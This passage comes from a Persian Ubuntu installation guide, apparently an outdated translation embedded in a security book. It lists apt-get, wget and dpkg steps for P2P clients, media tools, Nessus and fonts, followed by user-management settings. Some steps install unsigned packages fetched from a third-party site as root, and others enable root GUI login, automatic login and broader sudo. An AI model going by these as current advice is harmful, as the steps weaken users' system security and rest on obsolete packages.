  . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٤
٥. Applications - <Internet - <gFTP  

   را نصب کنم ؟P2P BitTorrent )Azureus(چگونه بسته نرم افزاری ارتباط با 

  . را مطالعه نمایيدنکات عمومی .١
 Mozilla مناسب برای in-Plug همراه با   SE Runtime Environment2J(JAVA(چگونه بسته نرم افزاری بخش  .٢

Firefoxرا مطالعه نمایيد را نصب کنم .  
3. sudo apt-get install azureus 

  . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه ش بخ .٤
٥. Applications - <Internet - <Azureus  

   را نصب کنم ؟P2P eMule (aMule(چگونه بسته نرم افزاری ارتباط با 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install amule 
   . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٤
٥. Applications - <Internet - <aMule  

   را نصب کنم ؟P2P Gnutella (Lime Wire(چگونه بسته نرم افزاری ارتباط با 

  . را مطالعه نمایيدنکات عمومی .١
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 Mozilla مناسب برای in-Plug همراه با   SE Runtime Environment2J(JAVA(چگونه بسته نرم افزاری بخش  .٢
Firefoxرا مطالعه نمایيد را نصب کنم .  

3. wget -c http://frankandjacq.com/ubuntuguide/LimeWireOther.zip 
sudo unzip -u LimeWireOther.zip -d /opt/ 
sudo chown -R root:root /opt/LimeWire/ 
sudo gedit /usr/bin/runLime.sh 

 . یک فایل جدید ایجاد کرده و خط فرمان های زیر را در آن بنویسيد .٤

cd /opt/LimeWire/ 
./runLime.sh 

 )یک نمونه از فایل ویرایش شده. (سپس فایل جدید را ذخيره نمایيد .٥
6. sudo chmod +x /usr/bin/runLime.sh 

sudo gedit /usr/share/applications/LimeWire.desktop 
 .  زیر را در فایل جدید بنویسيدخط فرمانهای .٧

[Desktop Entry] 
Name=LimeWire 
Comment=LimeWire 
Exec=runLime.sh 
Icon=/opt/LimeWire/LimeWire.ico 
Terminal=false 
Type=Application 
Categories=Application;Network; 

 )یک نمونه از فایل ویرایش شده. (فایل ویرایش شده را ذخيره نمایيد .٨
  . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٩
١٠. Applications - <Internet - <LimeWire  

   را نصب کنم ؟Skypeفزاری برنامه پيغام رسان چگونه بسته نرم ا

  . را مطالعه نمایيدنکات عمومی .١
  . نمایيد را مطالعهاضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install libqt3c102-mt 
wget -c http://frankandjacq.com/ubuntuguide/skype_1.2.0.11-1_i386.deb 
sudo dpkg -i skype_1.2.0.11-1_i386.deb 

 . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٤
٥. Applications - <Internet - <Skype  

   را نصب کنم ؟Winpopup (LinPopUp(چگونه بسته نرم افزاری برنامه 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢
  . را مطالعه نمایيد را برای به اشتراک گذاری پوشه ها و فایلها راه اندازی کنمSambaنده چگونه سرویس ده بخش .٣

4. sudo apt-get install linpopup 
sudo gedit /usr/share/applications/linpopup.desktop 

 . خط فرمانهای زیر را در فایل جدید بنویسيد .٥

[Desktop Entry] 
Name=LinPopUp 
Comment=LinPopUp 
Exec=linpopup 
Icon=/usr/share/pixmaps/linpopup.xpm 
Terminal=false 
Type=Application 
Categories=Application;Utility; 

 )یک نمونه از فایل ویرایش شده. (فایل ویرایش شده را ذخيره نمایيد .٦
  . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه  بخش .٧
٨. Applications - <Accessories - <LinPopUp  
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  را نصب کنم ؟) Multimedia Codecs( های مختلف محيط چند رسانه ای Codecچگونه 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install gstreamer0.8-plugins 
sudo apt-get install gstreamer0.8-lame 
sudo apt-get install gstreamer0.8-ffmpeg 
sudo apt-get install w32codecs 
sudo apt-get install libdivx4linux 
sudo apt-get install lame 
sudo apt-get install sox 
sudo apt-get install ffmpeg 
sudo apt-get install mjpegtools 
sudo apt-get install vorbis-tools 
gst-register-0.8 

  را نصب کنم ؟DVDچگونه بسته نرم افزاری قابليت نمایش 

  . را مطالعه نمایيدنکات عمومی .١
  .را مطالعه نمایيد اضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install libdvdcss2 

  برای پخش فایلهای چند رسانه ای را نصب کنم ؟Xine-uiچگونه بسته نرم افزاری 

  . را مطالعه نمایيدنکات عمومی .١
  .  را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢
  . را مطالعه نمایيدرا نصب کنم) Multimedia Codecs( های مختلف محيط چند رسانه ای Codecچگونه بخش  .٣
  . را مطالعه نمایيد را نصب کنمDVDچگونه بسته نرم افزاری قابليت نمایش  بخش .٤

5. sudo apt-get install xine-ui 
 . اجرا شوند xineبرای اینکه فایلهای چندرسانه ای در حالت اوليه با  .٦

gconftool-2 --type string --set /desktop/gnome/volume_manager/autoplay_dvd_command "xine dvd://" 
sudo rm -f /usr/share/applnk/Multimedia/xine.desktop 
sudo ln -fs /usr/share/xine/desktop/xine.desktop /usr/share/applications/ 
sudo cp /usr/share/applications/defaults.list /usr/share/applications/defaults.list_backup 
sudo sed -e 's/totem.desktop/xine.desktop/g' /usr/share/applications/defaults.list_backup > /tmp/defaults.list 
sudo mv /tmp/defaults.list /usr/share/applications/defaults.list 

  . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٧
  .  را مطالعه نمایيد کنمrefresh را GNOMEچگونه محيط کاربری  بخش .٨
٩. Applications - <Sound & Video - <xine  

   را نصب کنم ؟Mozilla Firefox مناسب برای Plug-in به همراه Mplayerچگونه بسته نرم افزاری 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢
   . را مطالعه نمایيدرا نصب کنم) Multimedia Codecs( های مختلف محيط چند رسانه ای Codec چگونهبخش  .٣
  . را مطالعه نمایيد را نصب کنمDVDچگونه بسته نرم افزاری قابليت نمایش  بخش .٤

5. sudo apt-get install mplayer-386 
sudo apt-get install mplayer-fonts 
sudo apt-get install mozilla-mplayer 
sudo cp /etc/mplayer/mplayer.conf /etc/mplayer/mplayer.conf_backup 
sudo gedit /etc/mplayer/mplayer.conf 

 . کنيدخط فرمان زیر را پيدا  .٦

... 
vo=x11,                  # To specify default video driver (see -vo help for 
... 

 . به جای خط فرمان بالا این خط فرمان را بنویسيد .٧
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vo=xv,                  # To specify default video driver (see -vo help for 

 )یک نمونه از فایل ویرایش شده. (فایل ویرایش شده را ذخيره نمایيد .٨
   . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٩
١٠. Applications - <Sound & Video - <MPlayer  
١١. Mozilla Firefoxرا دوباره اجرا نمایيد .  

   را برای پخش فایلهای چند رسانه ای نصب کنم ؟XMMSبسته نرم افزاری چگونه 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيدازن تکميلیاضافه کردن مخبخش  .٢
  . را مطالعه نمایيدرا نصب کنم) Multimedia Codecs( های مختلف محيط چند رسانه ای Codecچگونه بخش  .٣

4. sudo apt-get install xmms 
wget -c http://frankandjacq.com/ubuntuguide/xmms-wma_1.0.4-2_i386.deb 

5. sudo dpkg -i xmms-wma_1.0.4-2_i386.deb 
 .  اجرا شوندXMMS در حالت اوليه با MP3/M3U/WAVبرای اینکه فایلهای با پسوند  .٦

sudo cp /usr/share/applications/defaults.list /usr/share/applications/defaults.list_backup 
sudo cp /usr/share/applications/defaults.list /tmp/defaults.list_tmp 
sudo sed -e 's/audio\/mpeg=.*/audio\/mpeg=XMMS.desktop/g' /tmp/defaults.list_tmp > /tmp/defaults.mp3 
sudo sed -e 's/audio\/x-mpegurl=.*/audio\/x-mpegurl=XMMS.desktop/g' /tmp/defaults.mp3 > /tmp/defaults.m3u 
sudo sed -e 's/audio\/x-wav=.*/audio\/x-wav=XMMS.desktop/g' /tmp/defaults.m3u > /tmp/defaults.list 
sudo mv /tmp/defaults.list /usr/share/applications/defaults.list 
sudo rm -f /tmp/defaults.* 

 . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٧
  . را مطالعه نمایيدکنم refresh را GNOMEچگونه محيط کاربری بخش  .٨
٩. Applications - <Sound & Video - <XMMS  

   را برای پخش فایلهای چند رسانه ای نصب کنم ؟RealPlayerچگونه بسته نرم افزاری 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install realplayer 
 .ه نمایيد را مطالع کنمrefresh را GNOME Panelچگونه بخش  .٤
٥. Applications - <Sound & Video - <RealPlayer 10  

   نصب کنم ؟Stream Directory Browser را جهت راه اندازی قابليت streamtunerچگونه بسته نرم افزاری 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install streamtuner 
sudo apt-get install streamripper 

 . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٤
٥. Applications - <Sound & Video - <streamtuner  

   نصب کنم ؟ID3 Tag Editor را برای راه اندازی قابليت Easy TAGچگونه بسته نرم افزاری 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install easytag 
 . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٤
٥. Applications - <Sound & Video - <EasyTAG  

   برای انجام تغييرات در فایلهای ویدیویی را نصب کنم ؟Kinoچگونه بسته نرم افزاری 
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  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢
  . را مطالعه نمایيدرا نصب کنم) edia CodecsMultim( های مختلف محيط چند رسانه ای Codecچگونه بخش  .٣

4. sudo apt-get install kino 
sudo apt-get install kinoplus 
sudo apt-get install kino-timfx 
sudo apt-get install kino-dvtitler 

 . را مطالعه نمایيد کنمrefresh را PanelGNOME چگونه بخش  .٥
٦. Applications - <Sound & Video - <Kino Video Editor  

   برای انجام تغييرات در فایلهای صوتی را نصب کنم ؟Audacityچگونه بسته نرم افزاری 

  .مطالعه نمایيد را نکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢
  . را مطالعه نمایيدرا نصب کنم) CodecsMultimedia ( های مختلف محيط چند رسانه ای Codecچگونه بخش  .٣

4. sudo apt-get install audacity 
 . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٥
٦. Applications - <Sound & Video - <Audacity  

   را نصب کنم ؟DVD برای دریافت و تبدیل فایلهای صوتی از DVD Ripper به عنوان dvd::rip افزاری چگونه بسته نرم

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢
   . را مطالعه نمایيدرا نصب کنم) Multimedia Codecs( های مختلف محيط چند رسانه ای Codecچگونه بخش  .٣
  . را مطالعه نمایيد را نصب کنمDVDچگونه بسته نرم افزاری قابليت نمایش  بخش .٤
را مطالعه   را نصب کنمMozilla Firefox مناسب برای in-Plug به همراه Mplayerچگونه بسته نرم افزاری  بخش .٥

  .نمایيد
  .را مطالعه نمایيد  را نصب کنمRARچگونه بسته نرم افزاری برنامه باز کردن فایلهای فشرده بخش  .٦

7. sudo apt-get install dvdrip 
sudo apt-get install vcdimager 
sudo apt-get install cdrdao 
sudo apt-get install subtitleripper 
sudo ln -fs /usr/bin/rar /usr/bin/rar-2.80 
sudo gedit /usr/share/applications/dvdrip.desktop 

 . خط فرمانهای زیر را در فایل جدید بنویسيد .٨

[Desktop Entry] 
Name=dvd::rip 
Comment=dvd::rip 
Exec=dvdrip 
Icon=/usr/share/perl5/Video/DVDRip/icon.xpm 
Terminal=false 
Type=Application 
Categories=Application;AudioVideo; 

 )یک نمونه از فایل ویرایش شده. (فایل ویرایش شده را ذخيره نمایيد .٩
  . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .١٠
١١. Applications - <Sound & Video - <dvd::rip  

   را نصب کنم ؟CD برای دریافت و تبدیل فایلهای صوتی از CD Ripper به عنوان Gooboxچگونه بسته نرم افزاری 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢
  . را مطالعه نمایيدرا نصب کنم) Multimedia Codecs( های مختلف محيط چند رسانه ای Codecچگونه بخش  .٣

4. sudo apt-get install goobox 
sudo rm -f /usr/share/applications/goobox.desktop 
sudo gedit /usr/share/applications/goobox.desktop 

 . ویسيدخط فرمانهای زیر را در فایل جدید بن .٥



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٣٧٢    صفحه

[Desktop Entry] 
Name=CD Player & Ripper 
Comment=Play and extract CDs 
Exec=goobox 
Icon=goobox.png 
Terminal=false 
Type=Application 
Categories=Application;AudioVideo; 

 )یک نمونه از فایل ذخيره شده. (فایل ویرایش شده را ذخيره نمایيد .٦
   . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٧
٨. Applications - <Sound & Video - <CD Player & Ripper  

   را نصب کنم ؟Mozilla Thunderbirdرنامه ایميل خوان چگونه بسته نرم افزاری ب

  . را مطالعه نمایيدنکات عمومی .١
  . مطالعه نمایيد رااضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install mozilla-thunderbird 
  . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٤
٥. Applications - <Internet - <Thunderbird Mail Client  

   را نصب کنم ؟Pan News Readerافزاری برنامه اخبار خوان چگونه بسته نرم 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install pan 
  . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٤
٥. Applications - <Internet - <Pan Newsreader  

   را نصب کنم ؟RSSOwl و اخبار خوان RSS/RDF/Atomچگونه بسته نرم افزاری برنامه 

  . را مطالعه نمایيدنکات عمومی .١
 Mozilla مناسب برای in-Plug همراه با  SE2J(JAVA  tRuntime Environmen(چگونه بسته نرم افزاری بخش  .٢

Firefoxرا مطالعه نمایيد را نصب کنم .   
3. wget -c http://frankandjacq.com/ubuntuguide/rssowl_linux_1_1_3_bin.tar.gz 
4. sudo tar zxvf rssowl_linux_1_1_3_bin.tar.gz -C /opt/ 
5. sudo chown -R root:root /opt/rssowl_linux_1_1_3_bin/ 
6. sudo gedit /usr/bin/runRSSOwl.sh 

 . خط فرمانهای زیر را در فایل جدید بنویسيد .٧

export MOZILLA_FIVE_HOME=/usr/lib/mozilla-firefox 
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:${MOZILLA_FIVE_HOME}:${LD_LIBRARY_PATH} 
cd /opt/rssowl_linux_1_1_3_bin/ 
./run.sh 

 )یک نمونه از فایل ذخيره شده. (فایل ویرایش شده را ذخيره نمایيد .٨
9. sudo chmod +x /usr/bin/runRSSOwl.sh 

sudo gedit /usr/share/applications/RSSOwl.desktop 
 . خط فرمانهای زیر را در فایل جدید بنویسيد .١٠

[Desktop Entry] 
Name=RSSOwl 
Comment=RSSOwl 
Exec=runRSSOwl.sh 
Icon=/opt/rssowl_linux_1_1_3_bin/rssowl.xpm 
Terminal=false 
Type=Application 
Categories=Application;Network; 

 )یک نمونه از فایل ذخيره شده. (ش شده را ذخيره نمایيدفایل ویرای .١١
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   . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .١٢
١٣. Applications - <Internet - <RSSOwl  

   را نصب کنم ؟NVUچگونه بسته نرم افزاری برنامه طراحی صفحات وب 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install nvu 
sudo rm -f /usr/share/applications/nvu.desktop 
sudo gedit /usr/share/applications/nvu.desktop 

 .خط فرمانهای زیر را در فایل جدید بنویسيد .٤

[Desktop Entry] 
Name=Nvu 
Comment=Web Development Editor 
Exec=nvu 
Icon=nvu.xpm 
Terminal=false 
Type=Application 
Categories=Application;Network; 

 )یک نمونه از فایل ویرایش شده. (فایل ویرایش شده را ذخيره نمایيد .٥
   . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٦
٧. Applications - <Internet - <Nvu  

   را نصب کنم ؟Plannerچگونه بسته نرم افزاری برنامه مدیریت پروژه 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install planner 
  . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٤
٥. Applications - <Office - <Project Management  

   را نصب کنم ؟GnuCashچگونه بسته نرم افزاری برنامه حسابداری شخصی 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install gnucash 
sudo rm -fr /usr/share/gnome/apps/Applications/ 
sudo gedit /usr/share/applications/GnuCash.desktop 

 . خط فرمانهای زیر را در فایل جدید بنویسيد .٤

[Desktop Entry] 
Name=GnuCash 
Comment=GnuCash Personal Finance 
Exec=gnucash 
Icon=/usr/share/pixmaps/gnucash/gnucash-icon.png 
Terminal=false 
Type=Application 
Categories=Application;Office; 

 )یک نمونه از فایل ویرایش شده. (یل ویرایش شده را ذخيره نمایيدفا .٥
   . نمایيد را مطالعه کنمrefresh را GNOME Panelچگونه بخش  .٦
٧. Applications - <Office - <GnuCash  

   را نصب کنم ؟Scribusچگونه بسته نرم افزاری برنامه ویرایش محيط کار 

  . را مطالعه نمایيدنکات عمومی .١
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  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢
3. sudo apt-get install scribus 

  . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٤
٥. Applications - <Office - <Scribus  

   را نصب کنم ؟Diaچگونه بسته نرم افزاری برنامه ویرایش دیاگرام 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيدضافه کردن مخازن تکميلیابخش  .٢

3. sudo apt-get install dia-gnome 
  . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٤
٥. Applications - <Graphics - <Dia  

  را نصب کنم ؟ chmبا پسوند  htmlبرای مشاهده و اجرای فایلهای مستندات  xCHMری چگونه بسته نرم افزا

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيدافه کردن مخازن تکميلیاضبخش  .٢

3. sudo apt-get install xchm 
 . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٤
٥. Applications - <Graphics - <xCHM  

   

   را نصب کنم ؟GnomeBacker نویس CD/DVDرنامه چگونه بسته نرم افزاری ب

  . را مطالعه نمایيدنکات عمومی .١
  . نمایيد را مطالعهاضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install gnomebaker 
  . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٤
٥. Applications - <Accessories - <GnomeBaker CD/DVD Creator  

   را برای اتصال به اینترنت از طریق مودم را نصب کنم ؟Gnome-pppچگو نه بسته نرم افزاری 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيدميلیاضافه کردن مخازن تکبخش  .٢

3. sudo apt-get install gnome-ppp 

  . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٤
٥. Applications - <Internet - <GNOME PPP  

   را نصب کنم ؟ADSL/PPPoE (RP-PPPoE( تباط با اینترنت از طریق چگونه بسته نرم افزاری برنامه ار

  . را مطالعه نمایيدنکات عمومی .١
   را مطالعه نمایيد ؟ را نصب کنمentialess-build های تکميلی Compilerچگونه بسته های نرم افزاری بخش  .٢

3. wget -c http://frankandjacq.com/ubuntuguide/rp-pppoe-3.5.tar.gz 
sudo tar zxvf rp-pppoe-3.5.tar.gz -C /opt/ 
sudo chown -R root:root /opt/rp-pppoe-3.5/ 
sudo gedit /usr/share/applications/RP-PPPoE.desktop 

 . خط فرمانهای زیر را در فایل جدید بنویسيد .٤

[Desktop Entry] 
Name=RP-PPPoE 
Comment=RP-PPPoE 
Exec=gksudo /opt/rp-pppoe-3.5/go-gui 
Icon= 
Terminal=false 
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Type=Application 
Categories=Application;Network; 

 )یک نمونه از فایل ویرایش شده. ( ویرایش شده را ذخيره نمایيدفایل .٥
   . نمایيد را مطالعه کنمrefresh را GNOME Panelچگونه بخش  .٦
٧. Applications - <Internet - <RP-PPPoE  

   را نصب کنم ؟BUMچگونه بسته نرم افزاری مدیریت بالا آمدن سيستم 

  . را مطالعه نمایيدنکات عمومی .١
2. wget -c http://frankandjacq.com/ubuntuguide/bum_1.3.2-1_all.deb 
3. sudo dpkg -i bum_1.3.2-1_all.deb 

  . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٤
٥. System - <Administration - <Boot-Up Manager  

   را نصب کنم ؟Gpartedچگونه بسته نرم افزاری مدیریت پارتيشن ها 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install gparted 
  . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٤
٥. Applications - <System Tools - <GParted  

   را نصب کنم ؟Firestarterچگونه بسته نرم افزاری برنامه مدیریت دیواره آتش 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install firestarter 
  . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٤
٥. Applications - <System Tools - <Firestarter  

   را نصب کنم ؟Nessusچگونه بسته نرم افزاری برنامه مدیریت امنيتی سيستم 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيدفه کردن مخازن تکميلیاضابخش  .٢

3. sudo apt-get install nessus 
sudo apt-get install nessusd 
sudo nessus-adduser 
sudo ln -fs /etc/init.d/nessusd /etc/rc2.d/S20nessusd 
sudo /etc/init.d/nessusd start 
sudo gedit /usr/share/applications/Nessus.desktop 

 . رمانهای زیر را در فایل جدید بنویسيدخط ف .٤

[Desktop Entry] 
Name=Nessus 
Comment=Nessus 
Exec=nessus 
Icon=/usr/share/pixmaps/nessus.xpm 
Terminal=false 
Type=Application 
Categories=Application;System; 

 )یک نمونه از فایل ویرایش شده. (فایل ویرایش شده را ذخيره نمایيد .٥
   . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٦
٧. Applications - <System Tools - <Nessus  

   را نصب کنم ؟RARفزاری برنامه باز کردن فایلهای فشرده چگونه بسته نرم ا
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  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install rar 
sudo ln -fs /usr/bin/rar /usr/bin/unrar 

٤. Applications - <Accessories - <Archive Manager 

  چگونه فونتهای تکميلی سيستم را نصب کنم ؟

  .مطالعه نمایيد را نکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install xfonts-intl-arabic 
sudo apt-get install xfonts-intl-asian 
sudo apt-get install xfonts-intl-chinese 
sudo apt-get install xfonts-intl-chinese-big 
sudo apt-get install xfonts-intl-european 
sudo apt-get install xfonts-intl-japanese 
sudo apt-get install xfonts-intl-japanese-big 
sudo apt-get install xfonts-intl-phonetic 
sudo apt-get install gsfonts-x11 
sudo apt-get install msttcorefonts 
sudo fc-cache -f -v 
sudo cp /etc/fonts/local.conf /etc/fonts/local.conf_backup 
sudo gedit /etc/fonts/local.conf 

 . خط فرمانهای زیر را پيدا کنيد .٤

... 
<!-- Uncomment below to enable the freetype autohinter module --> 
<!-- 
  <match target="font"> 
    <edit name="autohint" mode="assign"> 
      <bool>true</bool> 
    </edit> 
  </match> 
--> 
... 

 . مانهای بالا بنویسيداین خط فرمانها را به جای خط فر .٥

  <match target="font"> 
    <edit name="autohint" mode="assign"> 
      <bool>true</bool> 
    </edit> 
  </match> 

 )یش شدهیک نمونه از فایل ویرا. (فایل ویرایش شده را ذخيره نمایيد .٦
 را ، مجددا راه اندازی کنم) reboot( را بدون نياز به راه اندازی مجدد کل سيستم GNOMEچگونه محيط کاربری  بخش .٧

   .مطالعه نمایيد

   را نصب کنم ؟Chinese Input Modeه شدن قابليت  برای اضافSCIMچگونه بسته نرم افزاری برنامه 

  . را مطالعه نمایيدنکات عمومی .١
  .عه نمایيد را مطالاضافه کردن مخازن تکميلیبخش  .٢
   . را مطالعه نمایيدچگونه فونتهای تکميلی سيستم را نصب کنمبخش  .٣

4. sudo apt-get install scim 
sudo apt-get install scim-chinese 
sudo apt-get install scim-config-socket 
sudo apt-get install scim-gtk2-immodule 
sudo apt-get install scim-tables-zh 
wget -c http://frankandjacq.com/ubuntuguide/fireflysung-1.3.0.tar.gz 

5. sudo tar zxvf fireflysung-1.3.0.tar.gz -C /usr/share/fonts/truetype/ 
6. sudo chown -R root:root /usr/share/fonts/truetype/fireflysung-1.3.0/  
7. sudo fc-cache -f -v 

٨. System - <Preferences - <SCIM Input Method Setup 
    SCIMبرای فعال کردن  .٩
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Press 'Ctrl + Space' 

  را نصب کنم ؟Desktop Applet برای استفاده از قابليتهای این برنامه در gDeskletsچگونه بسته نرم افزاری برنامه 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install gdesklets 
sudo apt-get install gdesklets-data 

  . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٤
٥. Applications - <Accessories - <gDesklets  

   را نصب کنم ؟Frozen-Bubbleچگونه بازی 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install frozen-bubble 
  .طالعه نمایيد را م کنمrefresh را GNOME Panelچگونه بخش  .٤
٥. Applications - <Games - <Frozen-Bubble  

   را نصب کنم ؟build-essential های تکميلی Compilerچگونه بسته های نرم افزاری 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install build-essential 

 را نصب کنم ؟ xFarDic لغت نامه انگليسی به فارسی چگونه بسته نرم افزاری

  . را مطالعه نمایيدنکات عمومی .١
2. sudo dpkg -i xfardic_0.6.5-3_i386.deb  

 . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٣
   xFarDicبرای اضافه کردن بانک اطلاعات به  .٤

5. wget -c http://xfardic.sf.net/generic.xdb.bz2 
sudo bzip2 -c -d generic.xdb.bz2 > /usr/share/xfardic/generic.xdb 

٦. Applications - <Run Application - <xfardic 
٧. Options - <Settings - <XML DB Path  مسيرusr/share/xfardic/generic.xdb/ که مسير فایل بانک اطلاعات 

xFarDic  است را وارد کرده و سپسOK  
٨. xFarDic را دوباره اجرا نمایيد.  

  

  برنامه های تجاری

  

   را نصب کنم ؟٩X/ME/2000/XP ویندوز Win4Linچگونه با کمک بسته نرم افزاری 

١. com.lin4win.www://http  

   نرم افزارهای ویندوزی را اینجا نصب کنم ؟CrossOver Officeچگونه با کمک بسته نرم افزاری 

١. com.codeweavers.www://http  

   بازی های ویندوزی را اینجا نصب کنم ؟Cedegaچگونه با کمک بسته نرم افزاری 



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٣٧٨    صفحه

١. com.transgaming.www://http  

  
  

  مديريت کاربران

  

   را تغيير داده یا فعال کنم ؟rootچگونه کلمه رمز کاربر 

  . را مطالعه نمایيدنکات عمومی .١
2. sudo passwd root 

  را غير فعال کنم ؟rootاربر چگونه ک

  . را مطالعه نمایيدنکات عمومی .١
2. sudo passwd -l root 

  وارد شوم ؟GNOME به محيط کاربری rootچگونه ميتوانم با کاربر 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيد را تغيير داده یا فعال کنم rootچگونه کلمه رمز کاربر بخش  .٢
٣. System - <Administration - <Login Screen Setup  
٤. Login Screen Setup   

Security Tab -> Options -> Allow root to login with GDM (Checked) 

  سوئيچ کنم ؟rootچگونه در محيط ترمينال به کاربر 

  . را مطالعه نمایيدنکات عمومی .١
2. sudo -s -H 

Password: <specify user password> 

 کم و یا تغيير دهم ؟/بران سيستم را اضافهچگونه کار

  . را مطالعه نمایيدنکات عمومی .١
٢. System - <Administration - <Users and Groups  
٣. Users and Groups   

Users Tab -> Add User.../Properties/Delete 

 کم و یا تغيير دهم ؟/ های کاربری سيستم را اضافهچگونه گروه

  . را مطالعه نمایيدنکات عمومی .١
٢. System - <Administration - <Users and Groups  
٣. Users and Groups   

Groups Tab -> Add Group.../Properties/Delete 

 )این کار این نيست( وارد شوم ؟ GNOMEگونه به صورت اتوماتيک به محيط کاربری چ
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  . را مطالعه نمایيدنکات عمومی .١
٢. System - <Administration - <Login Screen Setup  
٣. Login Screen Setup   

General Tab -> Automatic Login -> 
Login a user automatically on first bootup (Checked) 
Automatic login username: Select "system_username" 

  کنند را بيشتر کنم ؟sudoچگونه تعداد کاربرانی که ميتوانند 

  . را مطالعه نمایيدمومینکات ع .١
2. export EDITOR=gedit && sudo visudo 

 . خط فرمانهای زیر را در فایل جدید بنویسيد .٣

system_username ALL=(ALL) ALL 

 )یرایش شدهیک نمونه از فایل و. (فایل ویرایش شده را ذخيره نمایيد .٤

  )این کار امن نيست( را بدون نياز به کلمه رمز فعال کنم ؟ sudoچگونه فرمان 

